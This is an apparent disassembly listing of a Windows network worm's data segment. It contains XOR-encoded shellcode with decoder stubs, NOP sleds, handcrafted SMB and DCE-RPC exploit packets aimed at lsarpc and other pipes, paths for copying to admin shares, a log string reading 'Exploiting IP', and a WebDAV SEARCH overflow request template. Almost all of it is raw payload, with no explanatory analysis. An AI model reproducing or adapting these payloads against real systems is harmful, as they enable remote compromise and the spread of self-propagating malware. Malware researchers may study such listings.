dd 5FD40A4Bh, 57E43BF6h, 0C8D20A4Ah, 3704F5C9h, 0
dword_446BBC dd 5C5Ch dword_446BC0 dd 5Ch dword_446BC4 dd 696D6461h, 246Eha8a885d041ceb11 db '8a885d04-1ceb-11c9-9fe8-08002b104860',0 ; DATA XREF: sub_40DBFE+Co
align 4
aFdb3a030065f11 db 'fdb3a030-065f-11d1-bb9b-00a024ea5525',0 ; DATA XREF: seg000:0040DD22o
align 4
aAdminSystem32 db 'Admin$\system32',0 ; DATA XREF: seg000:0040DFD4o
aCWinntSystem32 db 'c$\winnt\system32',0 ; DATA XREF: seg000:0040DFDBo
align 10h
aCWindowsSystem db 'c$\windows\system32',0 ; DATA XREF: seg000:loc_40DFE2o
aC_0: ; DATA XREF: seg000:0040DFE9o
unicode 0, <c>,0
aD: ; DATA XREF: seg000:0040DFF0o
unicode 0, <d>,0
aSSS_1 db '%s\%s\%s',0 ; DATA XREF: seg000:0040E03Fo
align 4
aNoPassword db '(no password)',0 ; DATA XREF: seg000:0040E163o
align 4
unk_446C78 db 2 ; DATA XREF: seg000:0040E18Ao
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 4Eh ; N
db 2, 65h, 74h ; CODE XREF: sub_446CDE:loc_446CF3j
db 2
db 62h, 2, 69h
db 1Fh
db 6Fh, 1Fh, 73h
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2ExploitingIpS db '2 Exploiting IP: %s, Share: \%s, User: (%s/%s)',0
aS_31 db '\\%s',0 ; DATA XREF: sub_40E268+15o
align 4
aSIpc db '%s\ipc$',0 ; DATA XREF: sub_40E268+59o
; ---------------------------------------------------------------------------
loc_446CDC: ; DATA XREF: seg000:0040E59Co
; seg000:0040E675o
jmp short loc_446CEE
; =============== S U B R O U T I N E =======================================
sub_446CDE proc near ; CODE XREF: sub_446CDE:loc_446CEEp
pop edx
dec edx
xor ecx, ecx
mov cx, 17Dh
loc_446CE6: ; CODE XREF: sub_446CDE+Cj
xor byte ptr [edx+ecx], 99h
loop loc_446CE6
jmp short loc_446CF3
; ---------------------------------------------------------------------------
loc_446CEE: ; CODE XREF: seg002:loc_446CDCj
call sub_446CDE
loc_446CF3: ; CODE XREF: sub_446CDE+Ej
jo short near ptr byte_446C89+1
cwde
cdq
cdq
retn
sub_446CDE endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FDh, 38h, 0A9h
dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h
dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h
dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
dd 999B9E5Eh
dword_446D8C dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: seg000:0040E4C8o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_446E74 dd 600EBh dword_446E78 dd 0FFF83FE9h, 0FFhoff_446E80 dd offset loc_43001D+4 ; DATA XREF: seg000:0040E647o
dd 770032h
dword_446E88 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 ; seg000:0040E805o
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2
dword_446ED0 dd 3000005h, 10h, 0D20h, 1, 0D08h, 90000h, 419h, 0
; DATA XREF: seg000:0040E5D4o
dd 419h
dword_446EF4 dd 3000005h, 10h, 1520h, 1, 1508h, 90000h, 819h, 0
; DATA XREF: seg000:0040E504o
dd 819h
dword_446F18 dd 0BAADh, 40000h, 0 dd 40000h, 430000h, 5C003Ah, 40000h, 0
dd 40000h, 430000h, 5C003Ah, 40000h, 0
dd 40000h, 430000h, 5C003Ah, 8080000h, 130079h, 0
dd 130000h, 640000h, 6D006Fh, 690061h, 2E006Eh, 610062h
dd 740073h, 720061h, 2E0074h, 65006Eh, 74h, 0BAADh, 8500000h
dd 0B0079h, 0
dd 0B0000h, 440000h, 4D004Fh, 490041h, 5C004Eh, 4C0042h
dd 41h, 6C68BAADh, 0F0B60013h, 24E563BBh, 5FD45F0Fh, 0DF7B4444h
dd 0DA1E42A2h, 0F84FBDC6h, 0CC7B2D6Dh, 0F6DAFABFh, 9957C071h
dd 410B1AEBh, 46F69CCBh, 2E0CCA98h, 0FEE65D4Fh, 0BCE2FD34h
dd 14772D1h, 0DDAFF5E1h, 276A0160h, 26F6C036h, 909C988Bh
dd 2383541Fh, 0FF78501Dh, 0BC6FC3A9h, 7AEDEAD6h, 0D33E15C9h
dd 18924307h, 84B743A3h, 99912670h, 6AFBAC10h, 0FAF6373Fh
dd 232A7A8h, 0C47B323Ah, 2F373822h, 0FBB32D08h, 0AB0316D8h
dd 0D2B7ACC5h, 0AB285C9Eh, 54F58E7Eh, 1EF0BFA3h, 0FC370693h
dd 0B6B21CD0h, 0B35B23D5h, 3BD4E764h, 0BD1FE911h, 6696F5C8h
dd 0C7D84740h, 56F525C2h, 0B1E658D7h, 85459C41h, 0CF5515B8h
dd 1B99583Eh, 0E479E2EFh, 0F5B9A1AFh, 5BADB1C4h, 0FCB06DFh
dd 6FF714h, 0F450AEC3h, 0BE20C3AFh, 1D9B9B89h, 902F08B5h
dd 0B593A29Ch, 0AD3EB99h, 65BD84B4h, 0DCF9C147h, 4FB358D5h
dd 1F051851h, 665F64B7h, 4F7D2E50h, 0FD32403Ah, 0CAA2048Eh
dd 0E8ECD048h, 1C68BE70h, 0C1F22032h, 2C20A9E2h, 0AFD8F043h
dd 0AD2A81EFh, 39300457h, 0ACBB45F6h, 54D49701h, 16DF66BFh
dd 4B670129h, 856AA3B8h, 0A04D2B42h, 0B6FB0C9Bh, 81BDC57Ch
dd 0D9741A3Eh, 584B13DFh, 0EACF0598h, 9CEBFF61h, 3FEC7886h
dd 3FD3839h, 8BC57D88h, 1615362Dh, 3C94E81Bh, 10890BE9h
dd 1114E699h, 2F8C54Fh, 0B195A1B8h, 0F62BCF58h, 3F3E17B2h
dd 0E2DE4865h, 0B8E74DAEh, 0BFFADE91h, 0E6463Ch, 0A37E40A4h
dd 0A0A1DE35h, 15EBF902h, 27A4A30h, 3A2DE938h, 942C18F3h
dd 35F74713h, 0A03749A7h, 0BFAA1B98h, 0E3028BF5h, 6A5444F4h
dd 0BF8D9185h, 0C24CE40Ch, 8239677Fh, 4B0E4B66h, 0ACA84C34h
dd 51110F0Ah, 0A35A3E7Bh, 0F24626FBh, 6D3BAF84h, 81774A00h
dd 0B7DB7009h, 0A2EFECF5h, 110328F8h, 1D3D93ADh, 4FC3D6ACh
dd 7382EFFAh, 7B7D0CAh, 6E901B06h, 0F0B60013h, 24E563BBh
dd 5AB55F0Fh, 0EA2829F2h, 9F08AC70h, 7E92BB80h, 0E2F4253Ch
dd 91578ABFh, 0D28AC0F1h, 423A4F01h, 0C35570EEh, 70C4C75h
dd 0DFA846FFh, 684519A9h, 17172D0h, 0DDAF22E1h, 9CE4A188h
dd 15F6C071h, 891109F0h, 53830A1Fh, 6C4E501Dh, 0BC6F6409h
dd 3F57EAAEh, 0D33E15B4h, 0ED924307h, 84B75E17h, 36912673h
dd 92FBFC09h, 0FAEA348Ah, 0BB32A7A8h, 0C47B3235h, 2F37282Ah
dd 0FBB32D08h, 0ABDB16D8h, 3B7ACC5h, 0ABD95C0Bh, 54F58E7Eh
dd 1EF0BFA3h, 0FC37145Ch, 0B6B21CFBh, 0B3BE90D5h, 0A1D4E764h
dd 0BD1FE911h, 6696F5C8h, 8BD84740h, 56F5258Dh, 0B1E658D7h
dd 46039C41h, 0CF551570h, 1B99583Eh, 0E415E2EFh, 0F5FEA1AFh
dd 5BADB1C4h, 0FCB06DFh, 6FF714h, 0AA50AEC3h, 0BE20C3AFh
dd 1D9B9BD2h, 902F08B5h, 0B58AA29Ch, 0AD3EB99h, 656D84B4h
dd 0DCF9C147h, 812E58D5h, 8B051851h, 665F64B7h, 4F7DCD50h
dd 0FD32403Ah, 0CAA2048Eh, 0E848D048h, 1C219170h, 0C1F22032h
dd 2CC3A9E2h, 0AFD8F043h, 0AD2A81EFh, 39300457h, 0ACBB45F6h
dd 54D4979Ah, 16DFE8BFh, 4BDAB329h, 856AA3B8h, 0A04D2B42h
dd 0B6FB7E9Bh, 0ABBDC5D7h, 0D9741A3Eh, 584B13DFh, 0EACF0598h
dd 9CEBFF61h, 3FEC7886h, 3FD3839h, 8BC57D88h, 1615362Dh
dd 0BE94E81Bh, 10890BE9h, 1114E699h, 2F8C54Fh, 0B195A1B8h
dd 0F62BCF58h, 3F3E17B2h, 0E2DE1865h, 0B8E74DADh, 0BFFADE91h
dd 0E6463Ch, 0A37E40A4h, 0A0A1DE35h, 15EBF9DCh, 27AFD30h
dd 3A2DE938h, 942C18F3h, 64F74713h, 0A03749A7h, 0BFAA1B98h
dd 0E3028BF5h, 6A5444F4h, 0BF8D9132h, 0C24CE40Ch, 8239677Fh
dd 4B0E4B66h, 0ACA84C34h, 51110F0Ah, 0A35A3E7Bh, 0F24626FBh
dd 6D3BAF84h, 81774A00h, 0B7DB7009h, 0A2EFECF5h, 110328F8h
dd 1D3DB8ADh, 4FC3D6ACh, 7382EFFAh, 7B7D0CAh, 8C01B06h
dd 0
dword_4473E4 dd 0AD00F0h, 0D00BAh, 0AD00F0h, 0D00BAh, 0AD00F0h, 0D00BAh
; DATA XREF: seg000:0040E538o
dd 0AD00F0h, 0AB00BAh, 3 dup(0AB00ABh), 0ABh, 0BAADh, 40000h
dd 0
dd 40000h, 430000h, 5C003Ah, 40000h, 0
dd 40000h, 430000h, 5C003Ah, 40000h, 0
dd 40000h, 430000h, 5C003Ah, 1F500000h, 130079h, 0
dd 130000h, 640000h, 6D006Fh, 690061h, 2E006Eh, 610062h
dd 740073h, 720061h, 2E0074h, 65006Eh, 74h, 0BAADh, 1F980000h
dd 0B0079h, 0
dd 0B0000h, 440000h, 4D004Fh, 490041h, 5C004Eh, 4C0042h
dd 41h, 6C68BAADh, 6FF80013h, 780871B6h, 7906B81Dh, 681B4105h
dd 0A519318Fh, 8EF1AE30h, 0FEA20E2Dh, 0E10BAE59h, 0F668E92Fh
dd 3DBBE22Bh, 0C9FE0679h, 10BC298Fh, 7A80C221h, 0AE21D2C8h
dd 4BB6B50Eh, 6341DBF5h, 503DCD4Fh, 16B2EC49h, 62E61679h
dd 48066954h, 18A491ADh, 65476540h, 9C51320Ch, 8918033Fh
dd 0A8CFCA73h, 4544AF4Eh, 45745E1Ah, 2AA23559h, 0B312E7C7h
dd 250D2D9Bh, 9F72D49Ah, 0CD63800Bh, 0B488DB31h, 0FBFFF7A7h
dd 8B52B7BEh, 0E24E0F98h, 7E3F94C6h, 0A0BA7AC2h, 8F3EAC69h
dd 32706D45h, 0FFFA1DFCh, 2FF75D6Eh, 974CDF4Fh, 2A6FD55Eh
dd 3597F736h, 0EC535F2h, 24D28A6Bh, 0FED5ED62h, 3D5BB4C6h
dd 51A693F8h, 0EABEB7CDh, 853D253Bh, 7B4CEA2Eh, 0B465545Eh
dd 63045DD4h, 0E8D119Ah, 51529C16h, 1F717A3Ah, 0B77EE55Ch
dd 0E653AEBDh, 1A26D3B9h, 24EED272h, 0D590E979h, 533C056Bh
dd 0AF028119h, 72C03514h, 61FC14ABh, 0F2B90F3Fh, 93DE26C0h
dd 1796F37h, 0D7DA3452h, 0D815311Dh, 0D143E127h, 0C9CA5CB9h
dd 0C904E41h, 68CAD06Bh, 0DFDF54F1h, 0FF2E9AE0h, 0F19918E2h
dd 89B2F77Ah, 6E508D09h, 233B4704h, 91F429ABh, 76117BA2h
dd 0D09B57DDh, 891B18C9h, 0F4931D47h, 0B2243192h, 0D59B1C2Dh
dd 85E02CA5h, 0C9BC5C0Eh, 391E990Dh, 78B62407h, 0DE0497A4h
dd 4862937Dh, 6EA0E05Ah, 0CBA5AFF7h, 68104795h, 0F94C833Dh
dd 1BEAA05Dh, 0A1E74B9Ah, 56F21589h, 1CD8D722h, 75E3EE2Fh
dd 77BD6D19h, 0B2415BF0h, 0C573CD85h, 3146AA92h, 4E6AB17Dh
dd 6038110Dh, 0C5E9C0A5h, 0EE83E634h, 0C79E34F8h, 1F2137D6h
dd 0C25536DAh, 945DDB80h, 2EAFF676h, 0CF562D07h, 0BB6B6C1Ch
dd 3C6AF0A7h, 0DE8A55BDh, 0A0DDD260h, 15003D6h, 0E290152h
dd 0CF353A38h, 51B72663h, 8DCD3FD0h, 986F2F49h, 0C5F77BDh
dd 364A9BCh, 6A7C6B6Fh, 6E90B28Dh, 6FF80013h, 780871B6h
dd 6412B81Dh, 712E4483h, 16CE899Eh, 41BF70E6h, 0FE09C7F6h
dd 0E1DAB4F0h, 24F7E92Fh, 51DE48F1h, 0C9FE5877h, 85B35868h
dd 74CC2A4h, 0AE00ACC8h, 24D7C0Eh, 63416DF1h, 50ACAB4Fh
dd 16B2EC49h, 0ADFF1EE6h, 0EC060AA1h, 1EB1C0A2h, 0A5AD6640h
dd 9CDCD90Ah, 8918DD3Fh, 0A8CFCA73h, 45448B0Bh, 0B574DD10h
dd 2AA272B4h, 0B312E7C7h, 0AD0D2D9Bh, 9F71D49Ah, 50D7750Bh
dd 0B488DB31h, 7EFFF7A7h, 8B72B7BEh, 0A14ED9A8h, 7E3F94C6h
dd 0A0BA60C2h, 0F3EEA69h, 32706D45h, 91FA1DD2h, 2FF75D6Eh
dd 974C46E4h, 2A6FD58Dh, 3697F736h, 0EC535F2h, 24648A6Bh
dd 0FED5ED95h, 3D5BB4C6h, 51A60FF8h, 0EABEB7CDh, 74FF8EEAh
dd 0CD4CEA98h, 0B465545Eh, 63CA5DD4h, 0E8D699Ah, 51529C16h
dd 1F717A3Ah, 0B77EE55Ch, 0E653AE6Dh, 1A26D3B9h, 24EED272h
dd 0D590E979h, 533C056Bh, 0AF028119h, 72C03514h, 61FC16F4h
dd 0F291A03Fh, 93DE26C0h, 1796F37h, 0D7DA34B8h, 0D8153186h
dd 0D143E144h, 0C9CAF5B2h, 0C906E41h, 68CAD06Bh, 0DFDF54F1h
dd 0FF2E9AE0h, 0F19918E2h, 897AF77Ah, 6E0E8D09h, 233B4704h
dd 91F429ABh, 761129A2h, 0D09B57DDh, 891B18C9h, 0F4FD1D47h
dd 0B2243192h, 0D59B1C2Dh, 85E02CA5h, 0C9BC5C0Eh, 391E990Dh
dd 78B62407h, 0DE0497A4h, 4862937Dh, 6EA0E05Ah, 0CBA5AFF7h
dd 688D4795h, 0F94C833Dh, 1BEAA05Dh, 0A1E74B9Ah, 56F21589h
dd 1CD8D722h, 75C2EE2Fh, 77BD6D19h, 0B2415BF0h, 0C573CD85h
dd 3146AA92h, 4E6AB17Dh, 6038110Dh, 0C5E9C0A5h, 0DD83F934h
dd 0C79E34C3h, 1F2137D6h, 0C25536DAh, 945DDB80h, 2EAFF676h
dd 0CF9D2D07h, 0BB6B6C1Ch, 3C6AF0A7h, 0DE8A55BDh, 0A0DDD260h
dd 15003D6h, 0E290152h, 0CF353A38h, 51B7263Eh, 8DCD3FD0h
dd 986F2F49h, 0C5F77BDh, 364A9BCh, 6A7C6B6Fh, 8C0B28Dh
dd 0
aSPipeLsarpc db '\\%s\pipe\lsarpc',0 ; DATA XREF: seg000:0040E705o
align 4
dword_4478F4 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: seg000:0040E94Bo
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkPro_1 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_1 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_447980 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: seg000:0040E98Fo
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows20002_0:
unicode 0, <Windows 2000 2195>,0
aWindows20005_1:
unicode 0, <Windows 2000 5.0>,0
align 4
dd 0
dword_447A2C dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: seg000:0040E9C2o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch
dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_447B0C dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: seg000:0040EA03o
dd 0FEFF0000h, 300800h, 5A00FF04h, 1000800h, 2F00h, 0
dword_447B40 dd 3F3F0000h, 3F3F3Fh, 0dword_447B4C dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: seg000:0040EAE8o
dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h, 0
dd 2019Fh, 4 dup(0)
dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h, 720065h
dd 0
dword_447BB8 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: seg000:0040EB27o
dd 4780800h, 500800h, 48000010h, 0
dd 10h, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 5940h, 50005Ch, 500049h
dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h
dd 0
dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_447C5C dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: seg000:0040EB7Ao
dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h
dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
dd 11h, 0
dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
dd 2 dup(300030h), 0
dd 0FFFFh, 7E0h, 2 dup(0)
dd 7C0h, 0
db 8 dup(90h)
; ---------------------------------------------------------------------------
jmp short loc_447D26
; ---------------------------------------------------------------------------
align 10h
dd 767A1567h
; ---------------------------------------------------------------------------
jmp short loc_447D2E
; ---------------------------------------------------------------------------
loc_447D26: ; CODE XREF: seg002:00447D1Cj
nop
nop
db 67h
adc eax, 8EB767Ah
loc_447D2E: ; CODE XREF: seg002:00447D24j
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 9090767Ah
nop
nop
nop
nop
nop
jmp short loc_447D7D
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 48h
dd 9088444Fh
db 90h
; ---------------------------------------------------------------------------
loc_447D7D: ; CODE XREF: seg002:00447D73j
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
; ---------------------------------------------------------------------------
dd 0
dword_447D90 dd 7E0h, 4, 2 dup(0)dword_447DA0 dd 0E983C929h, 0D9EED9B0h, 5BF42474h; ---------------------------------------------------------------------------
loc_447DAC: ; CODE XREF: seg002:00447DB6j
xor dword ptr [ebx+13h], 3704F519h
sub ebx, 0FFFFFFFCh
loop loc_447DAC
; ---------------------------------------------------------------------------
dd 7AEF9FE5h, 0C8FB0CF1h, 5B8F95E6h, 728FD13Dh, 32787E25h
dd 0BCEBF461h, 688FED56h, 7EEFF439h, 368FC192h, 0AEC4C4F7h
dd 43C471B5h, 3ACE341Eh, 0C3EF3718h, 1F20A122h, 688F106Ch
dd 51EFF43Dh, 0BC4FF992h, 0DC05E946h, 0BE8FD91Ah, 5618D175h
dd 53DFC4DAh, 0BC34B692h, 478FF959h, 778F5805h, 0B96CAB11h
dd 67E8FB57h, 646223E6h, 5379D7Fh, 5778271h, 0E7FBA146h
dd 0CBE93E71h, 0E1FBA522h, 51E17C46h, 350C1898h, 0C8069F4Ch
dd 3EDD9DC9h, 0C85358ECh, 6457A6CFh, 6447A64Ah, 0E7FBA65Ah
db 7Fh, 9Dh
word_447E5A dw 551Ah ; DATA XREF: seg000:0040EB93w
dd 0D68DA67Fh, 2DA09D8Ch, 0C8533269h, 66149FCFh, 5FD40A4Ch
dd 0DE2A58BDh, 64D20A4Eh, 5FD40A4Ch, 7E82BCFCh, 67D20A4Eh
dd 0C851A14Dh, 0D06C66C9h, 607D3360h, 0C85123E6h, 536E93C9h
dd 5A679D7Fh, 676E1090h, 0BEC8DC40h, 0BE409FFEh, 0C4C4C4FBh
dd 1A460BB3h, 0A428B7E7h, 9C3C8F94h, 456C5EB2h, 0C81246E7h
dd 0E1FBB16Ch, 6656A242h, 366EA448h, 6651A448h, 9A6C25E6h
dd 64CAF0C0h, 0C86E23E6h, 0E7FBC2E6h, 0B4F8A292h, 0E1FB91DDh
dd 5FD40A4Bh, 57E43BF6h, 0C8D20A4Ah, 3704F5C9h, 0
dword_447EFC dd 73255C5Ch, 4350495Ch, 24hdword_447F08 dd 401150FFh, 0 dword_447F10 dd 142FFA1h, 0 dword_447F18 dd 401138FFh, 0 dword_447F20 dd 14308B9h, 0 dword_447F28 dd 320002h, 90909090h, 0ECC1F631h, 0CE4C10Ch, 0FB89E789h
; DATA XREF: sub_40EC3D+F0o
dd 748B016Ah, 0D231FE24h, 0E2C14252h, 56575210h
db 0B8h
byte_447F4D db 3 dup(0) ; DATA XREF: sub_40EC3D+1Co
; sub_40EC3D+43o
dd 8E8C100h, 0C08510FFh, 0DC890779h, 75F6854Eh, 90E7FFE1h
dd 3 dup(90909090h)
aRrrrrrrrrrrrrr db '',0
; DATA XREF: sub_40EC3D:loc_40EC91o
a1_1_1_1_1_1 db '1.1.1.1.1.1',0
aIa db 'ë€',0
align 10h
aV9_1_4691_01 db 'v9.1.4691.0+1',0
align 10h
aV8_5_3572 db 'v8.5.3572',0
align 10h
byte_447FD0 db 0EBh ; DATA XREF: sub_40EE3A+D6r
db 2, 0EBh, 5
dd 0FFFFF9E8h, 0C08358FFh, 1A08D1Bh, 83FFFFFCh, 0EC8BFCE4h
dd 0B966C933h
; ---------------------------------------------------------------------------
or al, 2
loc_447FEE: ; CODE XREF: seg002:00447FF2j
xor byte ptr [eax], 80h
inc eax
loop loc_447FEE
adc [eax-41h], ch
add byte ptr [eax-7131F180h], 6Ch
; ---------------------------------------------------------------------------
dw 7EF2h
dd 39039633h, 4752F835h, 151CE827h, 0EA21EE9Ah, 475358BDh
dd 0BF086827h, 0F3F71ECAh, 0B2B3DFB2h, 7C6D4B80h, 758959BBh
dd 0F09A242Dh, 0AE2D2447h, 6C96569h, 0E4EDE3C9h, 0E4D2DA80h
dd 80B021E7h, 0B8CC00Bh, 0B2D9CF0h, 720B88D8h, 6F017E0Bh
dd 80808180h, 883149B3h, 80811068h, 7FD6D280h, 0BDA60D7h
dd 87460358h, 853149B3h, 8081FC68h, 80036880h, 1E68080h
dd 0D481106Ch, 808181E8h, 6CD77F80h, 40B36C0Bh, 0D0D0D0D0h
dd 0D0C0D0C0h, 0B70D77Fh, 0C547E658h, 0E6808280h
db 47h, 0C5h, 82h
word_44809F dw 0D080h ; DATA XREF: sub_40EE3A+61w
db 47h, 0C5h, 84h
dd 80808080h, 0D3D590EAh, 574D77Fh, 0C062F540h, 0D77FD3D0h
dd 0D3D0D078h, 0B7CD77Fh, 0B340B358h, 0D7913149h, 2B737D0Bh
dd 80C546DFh, 0BCDD09C4h, 9B8DD09h, 47E6C0DDh, 8181ACC5h
dd 0D0C4C50Dh, 0D1D1D1D5h, 0D1C9D1C1h, 7FD1D6D1h, 40B350D7h
dd 0D77FD0C8h, 0B340B354h, 0D7913149h, 2B737D0Bh, 0C4CD0DDFh
dd 0D0D0D5D1h, 80EA84EAh, 0D0D6D0D0h, 150D77Fh, 8084806Ch
dd 8087E880h, 7FD48081h, 0D77FC8F5h, 0E8C0EA58h, 80809080h
dd 80D080E8h, 7F80EA80h, 0D77FC4F5h, 1580B5Ch, 80818043h
dd 0A41C0980h, 80808038h, 34A41C09h, 0B808080h, 8484A40Ch
dd 0C1478080h, 1010107Bh, 7FC14610h, 2690110h, 0EA808081h
dd 9080E880h, 0D0D18080h, 7FC4F57Fh, 7FD460D7h, 0D77FC8F5h
dd 0C8F57F64h, 0B368D77Fh, 7FD0C840h, 0D5D354D7h, 0EC0BD7D6h
dd 0C50B98A4h, 85D40BBCh, 0B5583F8h, 0DA0B98CAh, 635D83A0h
dd 0B40BC9B9h, 0B375830Bh, 40B37C7Fh, 0F444BA2Ch, 1010108Bh
dd 8D4F4110h, 6E6B7883h, 94A4FCBBh, 0DA0B5DF5h, 0E65D83A4h
dd 0BCB8C0Bh, 5D839CDAh, 830B840Bh, 10856B45h, 40B31010h
dd 0DEDF550Bh, 8442DBDDh, 7FD3D180h, 7F1868B6h, 2D2B7F7Fh
dd 7162D9DBh, 43h
dword_448200 dd 4Fh, 4Eh, 41h, 42h, 41h, 43h, 41h, 0C1h, 41h, 0C3h
; DATA XREF: seg000:0040F00Eo
dd 41h, 0C9h, 41h, 0CAh, 41h, 0CBh, 41h, 0CCh, 41h, 0CDh
dd 41h, 0CEh, 41h, 0CFh
dword_448260 dd 41h, 0D0h a?xmlVersion1_0 db '<?xml version="1.0"?>',0Dh,0Ah ; DATA XREF: sub_40EE3A+3Do
db '<g:searchrequest xmlns:g="DAV:">',0Dh,0Ah
db '<g:sql>',0Dh,0Ah
db 'Select "DAV:displayname" from scope()',0Dh,0Ah
db '</g:sql>',0Dh,0Ah
db '</g:searchrequest>',0Dh,0Ah,0
aSearchSHttp1_1 db 'SEARCH /%s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_40EE3A+138o
db 'Host: %s',0Dh,0Ah
db 'Content-type: text/xml',0Dh,0Ah
db 'Content-Length: ',0
aSD db '%s%d',0Dh,0Ah ; DATA XREF: sub_40EE3A+15Do
db 0Dh,0Ah,0
align 8
aFb db 'fìÐ',7,0 ; DATA XREF: sub_40F19D+7Eo
align 10h
dword_448350 dd 129F74h, 0 dword_448358 dd 127D78h, 0 dword_448360 dd 0E983C933h, 0D9EED9B0h, 5BF42474h; ---------------------------------------------------------------------------
loc_44836C: ; CODE XREF: seg002:00448376j
xor dword ptr [ebx+13h], 6F50883Dh
sub ebx, 0FFFFFFFCh
loop loc_44836C
shl edx, 0BBh
and dl, ch
; ---------------------------------------------------------------------------
db 71h, 0AFh, 90h
dd 3DBE8C2h, 2ADBAC19h, 6A2C0301h, 0E4BF8945h, 30DB9072h
dd 26BB891Dh, 6EDBBCB6h, 0F690B9D3h, 1B900C91h, 629A493Ah
dd 9BBB4A3Ch, 4774DC06h, 30DB6D48h, 9BB8919h, 0E41B84B6h
dd 84519462h, 0E6DBA43Eh, 0E4CAC51h, 0B8BB9FEh, 0E460CBB6h
dd 1FDB847Dh, 2FDB2521h, 0E138D635h, 3FBC8673h, 3C365EC2h
dd 5D63E05Bh, 5D23FF55h, 0BFAFDC62h, 93BD4355h, 0B9AFD806h
dd 9B50162h, 6D5865BCh, 9052E268h, 6689E0EDh, 900725C8h
